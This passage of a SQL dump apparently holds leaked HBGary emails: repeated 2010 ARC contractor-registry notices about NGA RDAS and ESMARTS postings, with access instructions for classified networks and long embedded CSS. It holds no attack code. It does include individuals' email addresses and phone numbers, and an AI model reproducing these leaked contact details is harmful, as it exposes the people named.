; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',459,'aaron_hbgary_com/459.html'),(10944,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008401.M143004P14101Q5799.eml','federal@hbgary.com','NGA / RDAS Announcement Posting','\r\nAn announcement has been posted on the NGA-RDAS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13106,'aaron_hbgary_com/13106.html'),(10945,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008401.M370054P14101Q5800.eml','federal@hbgary.com','NGA / RDAS Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NGA-RDAS effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',15168,'aaron_hbgary_com/15168.html'),(10946,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008401.M587083P14101Q5801.eml','federal@hbgary.com','NGA / ESMARTS Announcement Posting','\r\nAn announcement has been posted on the NGA-ESMARTS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /ESMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',4848,'aaron_hbgary_com/4848.html'),(10947,'2010-08-26','\"AFCEA NOVA Group Members\" 